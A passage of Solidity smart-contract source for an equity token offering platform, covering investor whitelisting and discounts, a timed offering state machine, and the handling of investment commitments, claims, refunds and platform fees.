mapping (address => WhitelistTicket) private _whitelist;
modifier onlyWhitelistManager() {
require(msg.sender == WHITELIST_MANAGER);
_;
}
event LogInvestorWhitelisted(
address indexed investor,
uint256 discountAmountEurUlps,
uint256 fullTokenPriceFrac
);
constructor(
Universe universe,
ETODurationTerms durationTerms,
ETOTokenTerms tokenTerms,
uint256 existingCompanyShares,
uint256 minTicketEurUlps,
uint256 maxTicketEurUlps,
bool allowRetailInvestors,
bool enableTransfersOnSuccess,
string investorOfferingDocumentUrl,
ShareholderRights shareholderRights,
string equityTokenName,
string equityTokenSymbol,
uint256 shareNominalValueEurUlps,
uint256 whitelistDiscountFrac,
uint256 publicDiscountFrac
)
public
{
require(durationTerms != address(0));
require(tokenTerms != address(0));
require(existingCompanyShares > 0);
require(keccak256(abi.encodePacked(investorOfferingDocumentUrl)) != EMPTY_STRING_HASH);
require(keccak256(abi.encodePacked(equityTokenName)) != EMPTY_STRING_HASH);
require(keccak256(abi.encodePacked(equityTokenSymbol)) != EMPTY_STRING_HASH);
require(shareholderRights != address(0));
require(shareNominalValueEurUlps > 0);
require(whitelistDiscountFrac >= 0 && whitelistDiscountFrac <= 99*10**16);
require(publicDiscountFrac >= 0 && publicDiscountFrac <= 99*10**16);
require(minTicketEurUlps<=maxTicketEurUlps);
MIN_NUMBER_OF_TOKENS = tokenTerms.MIN_NUMBER_OF_TOKENS();
MAX_NUMBER_OF_TOKENS = tokenTerms.MAX_NUMBER_OF_TOKENS();
TOKEN_PRICE_EUR_ULPS = tokenTerms.TOKEN_PRICE_EUR_ULPS();
DURATION_TERMS = durationTerms;
TOKEN_TERMS = tokenTerms;
EXISTING_COMPANY_SHARES = existingCompanyShares;
MIN_TICKET_EUR_ULPS = minTicketEurUlps;
MAX_TICKET_EUR_ULPS = maxTicketEurUlps;
ALLOW_RETAIL_INVESTORS = allowRetailInvestors;
ENABLE_TRANSFERS_ON_SUCCESS = enableTransfersOnSuccess;
INVESTOR_OFFERING_DOCUMENT_URL = investorOfferingDocumentUrl;
SHAREHOLDER_RIGHTS = shareholderRights;
EQUITY_TOKEN_NAME = equityTokenName;
EQUITY_TOKEN_SYMBOL = equityTokenSymbol;
SHARE_NOMINAL_VALUE_EUR_ULPS = shareNominalValueEurUlps;
WHITELIST_DISCOUNT_FRAC = whitelistDiscountFrac;
PUBLIC_DISCOUNT_FRAC = publicDiscountFrac;
WHITELIST_MANAGER = msg.sender;
IDENTITY_REGISTRY = IIdentityRegistry(universe.identityRegistry());
UNIVERSE = universe;
}
function calculateTokenAmount(uint256 , uint256 committedEurUlps)
public
constant
returns (uint256 tokenAmountInt)
{
return committedEurUlps / calculatePriceFraction(10**18 - PUBLIC_DISCOUNT_FRAC);
}
function calculateEurUlpsAmount(uint256 , uint256 tokenAmountInt)
public
constant
returns (uint256 committedEurUlps)
{
return mul(tokenAmountInt, calculatePriceFraction(10**18 - PUBLIC_DISCOUNT_FRAC));
}
function ESTIMATED_MIN_CAP_EUR_ULPS() public constant returns(uint256) {
return calculateEurUlpsAmount(0, MIN_NUMBER_OF_TOKENS);
}
function ESTIMATED_MAX_CAP_EUR_ULPS() public constant returns(uint256) {
return calculateEurUlpsAmount(0, MAX_NUMBER_OF_TOKENS);
}
function calculatePriceFraction(uint256 priceFrac) public constant returns(uint256) {
if (priceFrac == 1) {
return TOKEN_PRICE_EUR_ULPS;
} else {
return decimalFraction(priceFrac, TOKEN_PRICE_EUR_ULPS);
}
}
function addWhitelisted(
address[] investors,
uint256[] discountAmountsEurUlps,
uint256[] discountsFrac
)
external
onlyWhitelistManager
{
require(investors.length == discountAmountsEurUlps.length);
require(investors.length == discountsFrac.length);
for (uint256 i = 0; i < investors.length; i += 1) {
addWhitelistInvestorPrivate(investors[i], discountAmountsEurUlps[i], discountsFrac[i]);
}
}
function whitelistTicket(address investor)
public
constant
returns (bool isWhitelisted, uint256 discountAmountEurUlps, uint256 fullTokenPriceFrac)
{
WhitelistTicket storage wlTicket = _whitelist[investor];
isWhitelisted = wlTicket.fullTokenPriceFrac > 0;
discountAmountEurUlps = wlTicket.discountAmountEurUlps;
fullTokenPriceFrac = wlTicket.fullTokenPriceFrac;
}
function calculateContribution(
address investor,
uint256 totalContributedEurUlps,
uint256 existingInvestorContributionEurUlps,
uint256 newInvestorContributionEurUlps,
bool applyWhitelistDiscounts
)
public
constant
returns (
bool isWhitelisted,
bool isEligible,
uint256 minTicketEurUlps,
uint256 maxTicketEurUlps,
uint256 equityTokenInt,
uint256 fixedSlotEquityTokenInt
)
{
(
isWhitelisted,
minTicketEurUlps,
maxTicketEurUlps,
equityTokenInt,
fixedSlotEquityTokenInt
) = calculateContributionPrivate(
investor,
totalContributedEurUlps,
existingInvestorContributionEurUlps,
newInvestorContributionEurUlps,
applyWhitelistDiscounts);
IdentityClaims memory claims = deserializeClaims(IDENTITY_REGISTRY.getClaims(investor));
isEligible = claims.isVerified && !claims.accountFrozen;
}
function equityTokensToShares(uint256 amount)
public
constant
returns (uint256)
{
return divRound(amount, TOKEN_TERMS.EQUITY_TOKENS_PER_SHARE());
}
function requireValidTerms(PlatformTerms platformTerms)
public
constant
returns (bool)
{
if (ALLOW_RETAIL_INVESTORS) {
require(!ENABLE_TRANSFERS_ON_SUCCESS, "NF_MUST_DISABLE_TRANSFERS");
} else {
require(MIN_TICKET_EUR_ULPS >= MIN_QUALIFIED_INVESTOR_TICKET_EUR_ULPS, "NF_MIN_QUALIFIED_INVESTOR_TICKET");
}
require(MIN_TICKET_EUR_ULPS >= TOKEN_TERMS.TOKEN_PRICE_EUR_ULPS(), "NF_MIN_TICKET_LT_TOKEN_PRICE");
require(ESTIMATED_MAX_CAP_EUR_ULPS() >= MIN_TICKET_EUR_ULPS, "NF_MAX_FUNDS_LT_MIN_TICKET");
require(MIN_TICKET_EUR_ULPS >= platformTerms.MIN_TICKET_EUR_ULPS(), "NF_ETO_TERMS_MIN_TICKET_EUR_ULPS");
require(DURATION_TERMS.WHITELIST_DURATION() >= platformTerms.MIN_WHITELIST_DURATION(), "NF_ETO_TERMS_WL_D_MIN");
require(DURATION_TERMS.WHITELIST_DURATION() <= platformTerms.MAX_WHITELIST_DURATION(), "NF_ETO_TERMS_WL_D_MAX");
require(DURATION_TERMS.PUBLIC_DURATION() >= platformTerms.MIN_PUBLIC_DURATION(), "NF_ETO_TERMS_PUB_D_MIN");
require(DURATION_TERMS.PUBLIC_DURATION() <= platformTerms.MAX_PUBLIC_DURATION(), "NF_ETO_TERMS_PUB_D_MAX");
uint256 totalDuration = DURATION_TERMS.WHITELIST_DURATION() + DURATION_TERMS.PUBLIC_DURATION();
require(totalDuration >= platformTerms.MIN_OFFER_DURATION(), "NF_ETO_TERMS_TOT_O_MIN");
require(totalDuration <= platformTerms.MAX_OFFER_DURATION(), "NF_ETO_TERMS_TOT_O_MAX");
require(DURATION_TERMS.SIGNING_DURATION() >= platformTerms.MIN_SIGNING_DURATION(), "NF_ETO_TERMS_SIG_MIN");
require(DURATION_TERMS.SIGNING_DURATION() <= platformTerms.MAX_SIGNING_DURATION(), "NF_ETO_TERMS_SIG_MAX");
require(DURATION_TERMS.CLAIM_DURATION() >= platformTerms.MIN_CLAIM_DURATION(), "NF_ETO_TERMS_CLAIM_MIN");
require(DURATION_TERMS.CLAIM_DURATION() <= platformTerms.MAX_CLAIM_DURATION(), "NF_ETO_TERMS_CLAIM_MAX");
return true;
}
function contractId() public pure returns (bytes32 id, uint256 version) {
return (0x3468b14073c33fa00ee7f8a289b14f4a10c78ab72726033b27003c31c47b3f6a, 0);
}
function calculateContributionPrivate(
address investor,
uint256 totalContributedEurUlps,
uint256 existingInvestorContributionEurUlps,
uint256 newInvestorContributionEurUlps,
bool applyWhitelistDiscounts
)
private
constant
returns (
bool isWhitelisted,
uint256 minTicketEurUlps,
uint256 maxTicketEurUlps,
uint256 equityTokenInt,
uint256 fixedSlotEquityTokenInt
)
{
uint256 discountedAmount;
minTicketEurUlps = MIN_TICKET_EUR_ULPS;
maxTicketEurUlps = MAX_TICKET_EUR_ULPS;
WhitelistTicket storage wlTicket = _whitelist[investor];
isWhitelisted = wlTicket.fullTokenPriceFrac > 0;
if (applyWhitelistDiscounts) {
maxTicketEurUlps = max(wlTicket.discountAmountEurUlps, maxTicketEurUlps);
if (wlTicket.discountAmountEurUlps > 0) {
minTicketEurUlps = min(wlTicket.discountAmountEurUlps, minTicketEurUlps);
}
if (existingInvestorContributionEurUlps < wlTicket.discountAmountEurUlps) {
discountedAmount = min(newInvestorContributionEurUlps, wlTicket.discountAmountEurUlps - existingInvestorContributionEurUlps);
if (discountedAmount > 0) {
fixedSlotEquityTokenInt = discountedAmount / calculatePriceFraction(wlTicket.fullTokenPriceFrac);
}
}
}
uint256 remainingAmount = newInvestorContributionEurUlps - discountedAmount;
if (remainingAmount > 0) {
if (applyWhitelistDiscounts && WHITELIST_DISCOUNT_FRAC > 0) {
equityTokenInt = remainingAmount / calculatePriceFraction(10**18 - WHITELIST_DISCOUNT_FRAC);
} else {
equityTokenInt = calculateTokenAmount(totalContributedEurUlps + discountedAmount, remainingAmount);
}
}
equityTokenInt += fixedSlotEquityTokenInt;
}
function addWhitelistInvestorPrivate(
address investor,
uint256 discountAmountEurUlps,
uint256 fullTokenPriceFrac
)
private
{
require(investor != address(0));
require(fullTokenPriceFrac > 0 && fullTokenPriceFrac <= 10**18, "NF_DISCOUNT_RANGE");
require(discountAmountEurUlps < 2**128);
_whitelist[investor] = WhitelistTicket({
discountAmountEurUlps: uint128(discountAmountEurUlps),
fullTokenPriceFrac: uint128(fullTokenPriceFrac)
});
emit LogInvestorWhitelisted(investor, discountAmountEurUlps, fullTokenPriceFrac);
}
}
contract ICommitment is
IAgreement,
IERC223Callback
{
event LogFundsCommitted(
address indexed investor,
address wallet,
address paymentToken,
uint256 amount,
uint256 baseCurrencyEquivalent,
uint256 grantedAmount,
address assetToken,
uint256 neuReward
);
function finalized() public constant returns (bool);
function success() public constant returns (bool);
function failed() public constant returns (bool);
function totalInvestment()
public
constant
returns (
uint256 totalEquivEurUlps,
uint256 totalTokensInt,
uint256 totalInvestors
);
function tokenFallback(address investor, uint256 amount, bytes data)
public;
}
contract IETOCommitment is
ICommitment,
IETOCommitmentStates
{
event LogStateTransition(
uint32 oldState,
uint32 newState,
uint32 timestamp
);
event LogTokensClaimed(
address indexed investor,
address indexed assetToken,
uint256 amount,
uint256 nmkReward
);
event LogFundsRefunded(
address indexed investor,
address indexed paymentToken,
uint256 amount
);
event LogTermsSet(
address companyLegalRep,
address etoTerms,
address equityToken
);
event LogETOStartDateSet(
address companyLegalRep,
uint256 previousTimestamp,
uint256 newTimestamp
);
event LogSigningStarted(
address nominee,
address companyLegalRep,
uint256 newShares,
uint256 capitalIncreaseEurUlps
);
event LogCompanySignedAgreement(
address companyLegalRep,
address nominee,
string signedInvestmentAgreementUrl
);
event LogNomineeConfirmedAgreement(
address nominee,
address companyLegalRep,
string signedInvestmentAgreementUrl
);
event LogRefundStarted(
address assetToken,
uint256 totalTokenAmountInt,
uint256 totalRewardNmkUlps
);
function state() public constant returns (ETOState);
function startOf(ETOState s) public constant returns (uint256);
function commitmentObserver() public constant returns (IETOCommitmentObserver);
function refund() external;
function refundMany(address[] investors) external;
function claim() external;
function claimMany(address[] investors) external;
function payout() external;
function etoTerms() public constant returns (ETOTerms);
function equityToken() public constant returns (IEquityToken);
function nominee() public constant returns (address);
function companyLegalRep() public constant returns (address);
function signedInvestmentAgreementUrl() public constant returns (string);
function contributionSummary()
public
constant
returns (
uint256 newShares, uint256 capitalIncreaseEurUlps,
uint256 additionalContributionEth, uint256 additionalContributionEurUlps,
uint256 tokenParticipationFeeInt, uint256 platformFeeEth, uint256 platformFeeEurUlps,
uint256 sharePriceEurUlps
);
function investorTicket(address investor)
public
constant
returns (
uint256 equivEurUlps,
uint256 rewardNmkUlps,
uint256 equityTokenInt,
uint256 sharesInt,
uint256 tokenPrice,
uint256 neuRate,
uint256 amountEth,
uint256 amountEurUlps,
bool claimOrRefundSettled,
bool usedLockedAccount
);
}
contract METOStateMachineObserver is IETOCommitmentStates {
function mBeforeStateTransition(ETOState oldState, ETOState newState)
internal
constant
returns (ETOState newStateOverride);
function mAfterTransition(ETOState oldState, ETOState newState)
internal;
function mAdavanceLogicState(ETOState oldState)
internal
constant
returns (ETOState);
}
contract ETOTimedStateMachine is
IETOCommitment,
METOStateMachineObserver
{
uint32[] private ETO_STATE_DURATIONS;
IETOCommitmentObserver private COMMITMENT_OBSERVER;
ETOState private _state = ETOState.Setup;
uint32[7] internal _pastStateTransitionTimes;
modifier withStateTransition() {
advanceTimedState();
_;
advanceLogicState();
}
modifier onlyState(ETOState state) {
require(_state == state);
_;
}
modifier onlyStates(ETOState state0, ETOState state1) {
require(_state == state0 || _state == state1);
_;
}
function handleStateTransitions()
public
{
advanceTimedState();
}
function finalized()
public
constant
returns (bool)
{
return (_state == ETOState.Refund || _state == ETOState.Payout || _state == ETOState.Claim);
}
function success()
public
constant
returns (bool)
{
return (_state == ETOState.Claim || _state == ETOState.Payout);
}
function failed()
public
constant
returns (bool)
{
return _state == ETOState.Refund;
}
function state()
public
constant
returns (ETOState)
{
return _state;
}
function startOf(ETOState s)
public
constant
returns (uint256)
{
return startOfInternal(s);
}
function timedState()
external
constant
returns (ETOState)
{
advanceTimedState();
return _state;
}
function startOfStates()
public
constant
returns (uint256[7] startOfs)
{
for(uint256 ii = 0;ii<ETO_STATES_COUNT;ii += 1) {
startOfs[ii] = startOfInternal(ETOState(ii));
}
}
function commitmentObserver() public constant returns (IETOCommitmentObserver) {
return COMMITMENT_OBSERVER;
}
function setupStateMachine(ETODurationTerms durationTerms, IETOCommitmentObserver observer)
internal
{
require(COMMITMENT_OBSERVER == address(0), "NF_STM_SET_ONCE");
require(observer != address(0));
COMMITMENT_OBSERVER = observer;
ETO_STATE_DURATIONS = [
0, durationTerms.WHITELIST_DURATION(), durationTerms.PUBLIC_DURATION(), durationTerms.SIGNING_DURATION(),
durationTerms.CLAIM_DURATION(), 0, 0
];
}
function runStateMachine(uint32 startDate)
internal
{
_pastStateTransitionTimes[uint32(ETOState.Setup)] = startDate;
}
function startOfInternal(ETOState s)
internal
constant
returns (uint256)
{
if (s == ETOState.Setup) {
return 0;
}
if (s == ETOState.Refund) {
return _state == s ? _pastStateTransitionTimes[uint32(_state)] : 0;
}
if (uint32(s) - 1 <= uint32(_state)) {
return _pastStateTransitionTimes[uint32(s) - 1];
}
uint256 currStateExpiration = _pastStateTransitionTimes[uint32(_state)];
for (uint256 stateIdx = uint32(_state) + 1; stateIdx < uint32(s); stateIdx++) {
currStateExpiration += ETO_STATE_DURATIONS[stateIdx];
}
return currStateExpiration;
}
function advanceTimedState()
private
{
if (_pastStateTransitionTimes[uint32(ETOState.Setup)] == 0) {
return;
}
uint256 t = block.timestamp;
if (_state == ETOState.Setup && t >= startOfInternal(ETOState.Whitelist)) {
transitionTo(ETOState.Whitelist);
}
if (_state == ETOState.Whitelist && t >= startOfInternal(ETOState.Public)) {
transitionTo(ETOState.Public);
}
if (_state == ETOState.Public && t >= startOfInternal(ETOState.Signing)) {
transitionTo(ETOState.Signing);
}
if (_state == ETOState.Signing && t >= startOfInternal(ETOState.Claim)) {
transitionTo(ETOState.Refund);
}
if (_state == ETOState.Claim && t >= startOfInternal(ETOState.Payout)) {
transitionTo(ETOState.Payout);
}
}
function advanceLogicState()
private
{
ETOState newState = mAdavanceLogicState(_state);
if (_state != newState) {
transitionTo(newState);
advanceLogicState();
}
}
function transitionTo(ETOState newState)
private
{
ETOState oldState = _state;
ETOState effectiveNewState = mBeforeStateTransition(oldState, newState);
_state = effectiveNewState;
uint32 deadline = _pastStateTransitionTimes[uint256(oldState)];
if (uint32(block.timestamp) < deadline) {
deadline = uint32(block.timestamp);
}
_pastStateTransitionTimes[uint256(oldState)] = deadline;
_pastStateTransitionTimes[uint256(effectiveNewState)] = deadline + ETO_STATE_DURATIONS[uint256(effectiveNewState)];
mAfterTransition(oldState, effectiveNewState);
assert(_state == effectiveNewState);
COMMITMENT_OBSERVER.onStateTransition(oldState, effectiveNewState);
emit LogStateTransition(uint32(oldState), uint32(effectiveNewState), deadline);
}
}
contract ETOCommitment is
AccessControlled,
Agreement,
ETOTimedStateMachine,
Math,
Serialization,
IContractId
{
struct InvestmentTicket {
uint96 equivEurUlps;
uint96 rewardNmkUlps;
uint96 equityTokenInt;
uint96 amountEth;
uint96 amountEurUlps;
bool claimOrRefundSettled;
bool usedLockedAccount;
}
Universe private UNIVERSE;
Neumark private NEUMARK;
IERC223Token private ETHER_TOKEN;
IERC223Token private EURO_TOKEN;
LockedAccount private ETHER_LOCK;
LockedAccount private EURO_LOCK;
IEquityToken private EQUITY_TOKEN;
ITokenExchangeRateOracle private CURRENCY_RATES;
uint256 private MIN_NUMBER_OF_TOKENS;
uint256 private MAX_NUMBER_OF_TOKENS;
uint256 private MAX_NUMBER_OF_TOKENS_IN_WHITELIST;
uint256 private MIN_TICKET_TOKENS;
uint128 private PLATFORM_NEUMARK_SHARE;
uint128 private TOKEN_RATE_EXPIRES_AFTER;
address private PLATFORM_WALLET;
address private COMPANY_LEGAL_REPRESENTATIVE;
address private NOMINEE;
ETOTerms private ETO_TERMS;
PlatformTerms private PLATFORM_TERMS;
mapping (address => InvestmentTicket) private _tickets;
uint112 private _totalEquivEurUlps;
uint56 private _totalTokensInt;
uint56 private _totalFixedSlotsTokensInt;
uint32 private _totalInvestors;
bytes32 private _nomineeSignedInvestmentAgreementUrlHash;
uint96 private _newShares;
uint96 private _tokenParticipationFeeInt;
uint96 private _platformFeeEth;
uint96 private _platformFeeEurUlps;
uint96 private _additionalContributionEth;
uint96 private _additionalContributionEurUlps;
string private _signedInvestmentAgreementUrl;
modifier onlyCompany() {
require(msg.sender == COMPANY_LEGAL_REPRESENTATIVE);
_;
}
modifier onlyNominee() {
require(msg.sender == NOMINEE);
_;
}
modifier onlyWithAgreement {
require(amendmentsCount() > 0);
_;
}
event LogAdditionalContribution(
address companyLegalRep,
address paymentToken,
uint256 amount
);
event LogPlatformNeuReward(
address platformWallet,
uint256 totalRewardNmkUlps,
uint256 platformRewardNmkUlps
);
event LogPlatformFeePayout(
address paymentToken,
address disbursalPool,
uint256 amount
);
event LogPlatformPortfolioPayout(
address assetToken,
address platformPortfolio,
uint256 amount
);
constructor(
Universe universe,
address platformWallet,
address nominee,
address companyLegalRep,
ETOTerms etoTerms,
IEquityToken equityToken
)
Agreement(universe.accessPolicy(), universe.forkArbiter())
ETOTimedStateMachine()
public
{
UNIVERSE = universe;
PLATFORM_TERMS = PlatformTerms(universe.platformTerms());
require(equityToken.decimals() == etoTerms.TOKEN_TERMS().EQUITY_TOKENS_PRECISION());
require(platformWallet != address(0) && nominee != address(0) && companyLegalRep != address(0));
require(etoTerms.requireValidTerms(PLATFORM_TERMS));
PLATFORM_WALLET = platformWallet;
COMPANY_LEGAL_REPRESENTATIVE = companyLegalRep;
NOMINEE = nominee;
PLATFORM_NEUMARK_SHARE = uint128(PLATFORM_TERMS.PLATFORM_NEUMARK_SHARE());
TOKEN_RATE_EXPIRES_AFTER = uint128(PLATFORM_TERMS.TOKEN_RATE_EXPIRES_AFTER());
NEUMARK = universe.neumark();
ETHER_TOKEN = universe.etherToken();
EURO_TOKEN = universe.euroToken();
ETHER_LOCK = LockedAccount(universe.etherLock());
EURO_LOCK = LockedAccount(universe.euroLock());
CURRENCY_RATES = ITokenExchangeRateOracle(universe.tokenExchangeRateOracle());
ETO_TERMS = etoTerms;
EQUITY_TOKEN = equityToken;
MAX_NUMBER_OF_TOKENS = etoTerms.TOKEN_TERMS().MAX_NUMBER_OF_TOKENS();
MAX_NUMBER_OF_TOKENS_IN_WHITELIST = etoTerms.TOKEN_TERMS().MAX_NUMBER_OF_TOKENS_IN_WHITELIST();
MIN_NUMBER_OF_TOKENS = etoTerms.TOKEN_TERMS().MIN_NUMBER_OF_TOKENS();
MIN_TICKET_TOKENS = etoTerms.calculateTokenAmount(0, etoTerms.MIN_TICKET_EUR_ULPS());
setupStateMachine(
ETO_TERMS.DURATION_TERMS(),
IETOCommitmentObserver(EQUITY_TOKEN.tokenController())
);
}
function setStartDate(
ETOTerms etoTerms,
IEquityToken equityToken,
uint256 startDate
)
external
onlyCompany
onlyWithAgreement
withStateTransition()
onlyState(ETOState.Setup)
{
require(etoTerms == ETO_TERMS);
require(equityToken == EQUITY_TOKEN);
assert(startDate < 0xFFFFFFFF);
require(
startDate > block.timestamp && startDate - block.timestamp > PLATFORM_TERMS.DATE_TO_WHITELIST_MIN_DURATION(),
"NF_ETO_DATE_TOO_EARLY");
uint256 startAt = startOfInternal(ETOState.Whitelist);
require(
startAt == 0 || (startAt - block.timestamp > PLATFORM_TERMS.DATE_TO_WHITELIST_MIN_DURATION()),
"NF_ETO_START_TOO_SOON");
runStateMachine(uint32(startDate));
emit LogTermsSet(msg.sender, address(etoTerms), address(equityToken));
emit LogETOStartDateSet(msg.sender, startAt, startDate);
}
function companySignsInvestmentAgreement(string signedInvestmentAgreementUrl)
public
withStateTransition()
onlyState(ETOState.Signing)
onlyCompany
{
_signedInvestmentAgreementUrl = signedInvestmentAgreementUrl;
emit LogCompanySignedAgreement(msg.sender, NOMINEE, signedInvestmentAgreementUrl);
}
function nomineeConfirmsInvestmentAgreement(string signedInvestmentAgreementUrl)
public
withStateTransition()
onlyState(ETOState.Signing)
onlyNominee
{
bytes32 nomineeHash = keccak256(abi.encodePacked(signedInvestmentAgreementUrl));
require(keccak256(abi.encodePacked(_signedInvestmentAgreementUrl)) == nomineeHash, "NF_INV_HASH");
_nomineeSignedInvestmentAgreementUrlHash = nomineeHash;
emit LogNomineeConfirmedAgreement(msg.sender, COMPANY_LEGAL_REPRESENTATIVE, signedInvestmentAgreementUrl);
}
function tokenFallback(address wallet, uint256 amount, bytes data)
public
withStateTransition()
onlyStates(ETOState.Whitelist, ETOState.Public)
{
uint256 equivEurUlps = amount;
bool isEuroInvestment = msg.sender == address(EURO_TOKEN);
bool isEtherInvestment = msg.sender == address(ETHER_TOKEN);
require(isEtherInvestment || isEuroInvestment, "NF_ETO_UNK_TOKEN");
bool isLockedAccount = (wallet == address(ETHER_LOCK) || wallet == address(EURO_LOCK));
address investor = wallet;
if (isLockedAccount) {
investor = decodeAddress(data);
}
if (isEtherInvestment) {
(uint256 rate, uint256 rateTimestamp) = CURRENCY_RATES.getExchangeRate(ETHER_TOKEN, EURO_TOKEN);
require(block.timestamp - rateTimestamp < TOKEN_RATE_EXPIRES_AFTER, "NF_ETO_INVALID_ETH_RATE");
equivEurUlps = decimalFraction(amount, rate);
}
acceptAgreementInternal(investor);
processTicket(investor, wallet, amount, equivEurUlps, isEuroInvestment);
}
function claim()
external
withStateTransition()
onlyStates(ETOState.Claim, ETOState.Payout)
{
claimTokensPrivate(msg.sender);
}
function claimMany(address[] investors)
external
withStateTransition()
onlyStates(ETOState.Claim, ETOState.Payout)
{
for(uint256 ii = 0; ii < investors.length; ii++) {
claimTokensPrivate(investors[ii]);
}
}
function refund()
external
withStateTransition()
onlyState(ETOState.Refund)
{
refundTokensPrivate(msg.sender);
}
function refundMany(address[] investors)
external
withStateTransition()
onlyState(ETOState.Refund)
{
for(uint256 ii = 0; ii < investors.length; ii++) {
refundTokensPrivate(investors[ii]);
}
}
function payout()
external
withStateTransition()
onlyState(ETOState.Payout)
{
}
function signedInvestmentAgreementUrl()
public
constant
returns (string)
{
return _signedInvestmentAgreementUrl;
}
function contributionSummary()
public
constant
returns (
uint256 newShares, uint256 capitalIncreaseEurUlps,
uint256 additionalContributionEth, uint256 additionalContributionEurUlps,
uint256 tokenParticipationFeeInt, uint256 platformFeeEth, uint256 platformFeeEurUlps,
uint256 sharePriceEurUlps
)
{
return (
_newShares, _newShares * EQUITY_TOKEN.shareNominalValueEurUlps(),
_additionalContributionEth, _additionalContributionEurUlps,
_tokenParticipationFeeInt, _platformFeeEth, _platformFeeEurUlps,
_newShares == 0 ? 0 : divRound(_totalEquivEurUlps, _newShares)
);
}
function etoTerms() public constant returns (ETOTerms) {
return ETO_TERMS;
}
function equityToken() public constant returns (IEquityToken) {
return EQUITY_TOKEN;
}
function nominee() public constant returns (address) {
return NOMINEE;
}
function companyLegalRep() public constant returns (address) {
return COMPANY_LEGAL_REPRESENTATIVE;
}
function singletons()
public
constant
returns (
address platformWallet,
address universe,
address platformTerms
)
{
platformWallet = PLATFORM_WALLET;
universe = UNIVERSE;
platformTerms = PLATFORM_TERMS;
}
function totalInvestment()
public
constant
returns (
uint256 totalEquivEurUlps,
uint256 totalTokensInt,
uint256 totalInvestors
)
{
return (_totalEquivEurUlps, _totalTokensInt, _totalInvestors);
}
function calculateContribution(address investor, bool fromIcbmWallet, uint256 newInvestorContributionEurUlps)
external
constant
withStateTransition()
returns (
bool isWhitelisted,
bool isEligible,
uint256 minTicketEurUlps,
uint256 maxTicketEurUlps,
uint256 equityTokenInt,
uint256 neuRewardUlps,
bool maxCapExceeded
)
{
InvestmentTicket storage ticket = _tickets[investor];
bool applyDiscounts = state() == ETOState.Whitelist;
uint256 fixedSlotsEquityTokenInt;
(
isWhitelisted,
isEligible,
minTicketEurUlps,
maxTicketEurUlps,
equityTokenInt,
fixedSlotsEquityTokenInt
) = ETO_TERMS.calculateContribution(
investor,
_totalEquivEurUlps,
ticket.equivEurUlps,
newInvestorContributionEurUlps,
applyDiscounts
);
isWhitelisted = isWhitelisted || fromIcbmWallet;
if (!fromIcbmWallet) {
(,neuRewardUlps) = calculateNeumarkDistribution(NEUMARK.incremental(newInvestorContributionEurUlps));
}
maxCapExceeded = isCapExceeded(applyDiscounts, equityTokenInt, fixedSlotsEquityTokenInt);
}
function investorTicket(address investor)
public
constant
returns (
uint256 equivEurUlps,
uint256 rewardNmkUlps,
uint256 equityTokenInt,
uint256 sharesInt,
uint256 tokenPrice,
uint256 neuRate,
uint256 amountEth,
uint256 amountEurUlps,
bool claimedOrRefunded,
bool usedLockedAccount
)
{
InvestmentTicket storage ticket = _tickets[investor];
equivEurUlps = ticket.equivEurUlps;
rewardNmkUlps = ticket.rewardNmkUlps;
equityTokenInt = ticket.equityTokenInt;
sharesInt = ETO_TERMS.equityTokensToShares(ticket.equityTokenInt);
tokenPrice = equityTokenInt > 0 ? equivEurUlps / equityTokenInt : 0;
neuRate = rewardNmkUlps > 0 ? proportion(equivEurUlps, 10**18, rewardNmkUlps) : 0;
amountEth = ticket.amountEth;
amountEurUlps = ticket.amountEurUlps;
claimedOrRefunded = ticket.claimOrRefundSettled;
usedLockedAccount = ticket.usedLockedAccount;
}
function contractId() public pure returns (bytes32 id, uint256 version) {
return (0x70ef68fc8c585f9edc7af1bfac26c4b1b9e98ba05cf5ddd99e4b3dc46ea70073, 0);
}
function mAdavanceLogicState(ETOState oldState)
internal
constant
returns (ETOState)
{
bool capExceeded = isCapExceeded(false, MIN_TICKET_TOKENS + 1, 0);
if (capExceeded) {
if (oldState == ETOState.Whitelist) {
return ETOState.Public;
}
if (oldState == ETOState.Public) {
return ETOState.Signing;
}
}
if (oldState == ETOState.Signing && _nomineeSignedInvestmentAgreementUrlHash != bytes32(0)) {
return ETOState.Claim;
}
return oldState;
}
function mBeforeStateTransition(ETOState , ETOState newState)
internal
constant
returns (ETOState)
{
if (newState == ETOState.Signing && _totalTokensInt < MIN_NUMBER_OF_TOKENS) {
return ETOState.Refund;
}
return newState;
}
function mAfterTransition(ETOState , ETOState newState)
internal
{
if (newState == ETOState.Signing) {
onSigningTransition();
}
if (newState == ETOState.Claim) {
onClaimTransition();
}
if (newState == ETOState.Refund) {
onRefundTransition();
}
if (newState == ETOState.Payout) {
onPayoutTransition();
}
}
function mCanAmend(address legalRepresentative)
internal
returns (bool)
{
return legalRepresentative == NOMINEE && startOfInternal(ETOState.Whitelist) == 0;
}
function calculateNeumarkDistribution(uint256 rewardNmk)
private
constant
returns (uint256 platformNmk, uint256 investorNmk)
{
platformNmk = rewardNmk / PLATFORM_NEUMARK_SHARE;
return (platformNmk, rewardNmk - platformNmk);
}
function onSigningTransition()
private
{
uint256 etherBalance = ETHER_TOKEN.balanceOf(this);
uint256 euroBalance = EURO_TOKEN.balanceOf(this);
uint256 tokensPerShare = EQUITY_TOKEN.tokensPerShare();
uint256 tokenParticipationFeeInt = PLATFORM_TERMS.calculatePlatformTokenFee(_totalTokensInt);
uint256 tokensRemainder = (_totalTokensInt + tokenParticipationFeeInt) % tokensPerShare;
if (tokensRemainder > 0) {
tokenParticipationFeeInt += tokensPerShare - tokensRemainder;
}
assert(_totalTokensInt + tokenParticipationFeeInt < 2 ** 96);
assert(etherBalance < 2 ** 96 && euroBalance < 2 ** 96);
_newShares = uint96((_totalTokensInt + tokenParticipationFeeInt) / tokensPerShare);
_tokenParticipationFeeInt = uint96(tokenParticipationFeeInt);
_platformFeeEth = uint96(PLATFORM_TERMS.calculatePlatformFee(etherBalance));
_platformFeeEurUlps = uint96(PLATFORM_TERMS.calculatePlatformFee(euroBalance));
_additionalContributionEth = uint96(etherBalance) - _platformFeeEth;
_additionalContributionEurUlps = uint96(euroBalance) - _platformFeeEurUlps;
uint256 capitalIncreaseEurUlps = EQUITY_TOKEN.shareNominalValueEurUlps() * _newShares;
uint96 availableCapitalEurUlps = uint96(min(capitalIncreaseEurUlps, _additionalContributionEurUlps));
assert(EURO_TOKEN.transfer(NOMINEE, availableCapitalEurUlps, ""));
_additionalContributionEurUlps -= availableCapitalEurUlps;
emit LogSigningStarted(NOMINEE, COMPANY_LEGAL_REPRESENTATIVE, _newShares, capitalIncreaseEurUlps);
}
function onClaimTransition()
private
{
uint256 rewardNmk = NEUMARK.balanceOf(this);
